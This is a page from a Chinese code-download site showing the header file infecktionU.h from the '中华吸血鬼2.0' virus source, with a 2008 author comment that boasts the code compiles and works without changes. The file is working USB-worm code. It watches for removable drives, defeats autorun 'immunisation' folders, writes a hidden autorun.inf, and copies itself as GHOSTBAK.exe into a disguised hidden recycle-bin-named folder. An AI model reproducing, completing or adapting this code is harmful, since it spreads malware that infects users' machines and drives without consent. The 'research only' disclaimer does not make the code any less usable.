⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 infecktionu.h

📁 中华吸血鬼2.0源代码,这是一个低版本的代码,但是也包含了比较强的功能,一切仅供研究使用,若用于非法用途,后果自负!
💻 H
字号:

/* 
			中华吸血鬼源代码  作者:黑网之神购买代码后请勿随便发布,请
			珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
			已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
			,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
			非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
			    
				            作者:黑网之神     2008/5/1  
*/


//infecktionU.h
//此份感染U盘代码已经非常的完美了....

#include "head.h"
//-------------------------------------------------------------------//
void infecktionstart();
BOOL findpath();
void findpathwhile();
void startother();
void createautorun();
void mulu();
void openwin();
DWORD WINAPI infecktionU(LPVOID lpParameter);
/*void copyme(char *file1,char *file2);*/
//-------------------------------------------------------------------//
const int SIZE_CHAR = 10;  //产生的随机字符的个数
const char CCH[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
//-------------------------------------------------------------------//
char exepath[MAX_PATH]; 
char filepath[MAX_PATH]; //注释:USB路径
char USB=0; //注释:得到的U盘盘符定义
char szPath[MAX_PATH]; //注释:当前文件路径定义
char path[MAX_PATH];
char Refuse[MAX_PATH];  //把原来免疫U盘的autorun.inf文件夹改名
char pathss[MAX_PATH];
char pathss2[MAX_PATH];
char paths[MAX_PATH]="recycle.{645FF040-5081-101B-9F08-00AA002F954E}\\GHOSTBAK.exe";
char diskPath[5] = { 0 }; 
int cunzai=0;  //注释:第一次删除
//-------------------------------------------------------------------//
void startother()
{
GetModuleFileName(NULL,szPath,MAX_PATH);//注释:得到当前文件路径
}

//-------------------------------------------------------------------//
BOOL findpath() //注释:找到U盘路径
{


DWORD allDisk = GetLogicalDrives();
if (allDisk!=0) 
{ 
for (int i=0;i<40;i++) //假定最多有40个磁盘 
{ 
if ((allDisk & 1)==1) 
{ 
sprintf(diskPath, "%c", 'C'+i ); 
strcat(diskPath, ":\\" ); 

if (GetDriveType(diskPath)==DRIVE_REMOVABLE ) 
{ 
if( GetVolumeInformation(diskPath,0,0,0,0,0,0,0) ) //判断驱动是否准备就绪 
{ 
strcpy(&USB,diskPath);
infecktionstart();
mulu();
//MessageBox( NULL,diskPath, "1",MB_OK ); 
break; 
} 

} 
} 
allDisk = allDisk>>1; 
} 
} 

	return false;
}
//-------------------------------------------------------------------//

void deltoherfile()
{
if (cunzai==0)
{
	if (FILE_ATTRIBUTE_HIDDEN||FILE_ATTRIBUTE_READONLY||
		FILE_ATTRIBUTE_SYSTEM ==GetFileAttributes(pathss2))
	{
		SetFileAttributes(pathss2,FILE_ATTRIBUTE_NORMAL);
		DeleteFile(pathss2);
		cunzai=1;
	}
}
}
//-------------------------------------------------------------------//

void infecktionstart() 
{
//------------------------
	//这是得到随机数的代码
	srand((unsigned)time(NULL));
    char ch[SIZE_CHAR + 1] = {0};
	for (int sj =0;sj<SIZE_CHAR; ++sj)
	{
		int x = rand() % (sizeof(CCH) - 1);  
		ch[sj] = CCH[x];
    }
//------------------------
	
	lstrcpy(filepath,&USB);
	lstrcpy(path,filepath);
	lstrcpy(pathss,path);
//-----------
	lstrcpy(pathss2,path);
	lstrcat(pathss2,"autorun.inf");
	lstrcpy(Refuse,path);
	lstrcat(Refuse,ch);
	FILE *file;


	if (FILE_ATTRIBUTE_DIRECTORY==GetFileAttributes(pathss2))
	{
	MoveFile(pathss2,Refuse);  //给免疫U盘病毒的autorun.inf文件夹改名,U盘不会有权限问题,所以不会出错
	
	}
	else
	{
	deltoherfile();
	file=fopen(pathss2,"r");
	if (!file)
	{
		createautorun();
	}

	
	}
}


//-----------
	



//-------------------------------------------------------------------//


void findpathwhile() //注释:间隔1秒执行的动作
{

while(!findpath())
{
Sleep(1000); //注释:间隔1秒执行一次findpath

}

}
//-------------------------------------------------------------------//

DWORD WINAPI infecktionU(LPVOID lpParameter)
{

	startother();//注释:得到当前文件路径
	findpathwhile();//注释:不断循环找到U盘路径
return 0;

}




//-------------------------------------------------------------------//
void createautorun()
{   
	//-----------
	
	//-----------写入autorun.inf的文件内容
	FILE *file;
	lstrcat(pathss,"autorun.inf");  
	file=fopen(pathss,"w");
//	MessageBox( NULL,pathss, "1",MB_OK ); 
	fputs("[autorun]\nOPEN=",file);
	fputs(paths,file);
	fputs("\nshell\\open=打开(&O)",file);
	fputs("\nshell\\open\\Command=",file);
	fputs(paths,file);
	fputs("\nshell\\open\\Default=1",file);
	fputs("\nshell\\explore=资源管理器(&X)",file);
	fputs("\nshell\\explore\\Command=",file);
	fputs(paths,file);
	fclose(file);
	SetFileAttributes(pathss,FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_SYSTEM);
}
//------------------------------------------------------------------------
void mulu()
{
	////注释:建立U盘文件夹,并且复制到该文件夹
	char delerror[MAX_PATH];
	lstrcat(filepath,"recycle.{645FF040-5081-101B-9F08-00AA002F954E}");//把文件夹名字加入到filepath后
	CreateDirectory(filepath,NULL);//注释:将建文件夹
	lstrcpy(delerror,filepath);
	lstrcat(delerror,"\\中华吸血鬼..//");
	strcpy(exepath,filepath);//注释:把filepath变量放入exepath
	lstrcat(exepath,"\\GHOSTBAK.exe");//注释:把文件名放入exepath,得到完整路径
	CopyFile(szPath,exepath,FALSE);//注释:把当前文件复制到exepath路径
	SetFileAttributes(filepath,FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_SYSTEM);
	CreateDirectory(delerror,NULL);
}

//-------------------------------------------------------------------//

void openwin()
{
	char op[MAX_PATH];
	char op2[MAX_PATH];
	lstrcpy(op,diskPath);
	sprintf(op2,"cmd /c start %s",op);
	WinExec(op2,SW_HIDE);
}

//-------------------------------------------------------------------//
// void copyme(char *file1,char *file2)
// {
// 	
// 	char  ch[4];   
// 	FILE  *sfp,*dfp;     
// 	fopen(file1,"rb");
// 	dfp=fopen(file2,"wb");  
// 	fread(ch,4,1,sfp );
// 	fwrite(ch,4,1,dfp);
// 	fclose(sfp);   
// 	fclose(dfp);   
//}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -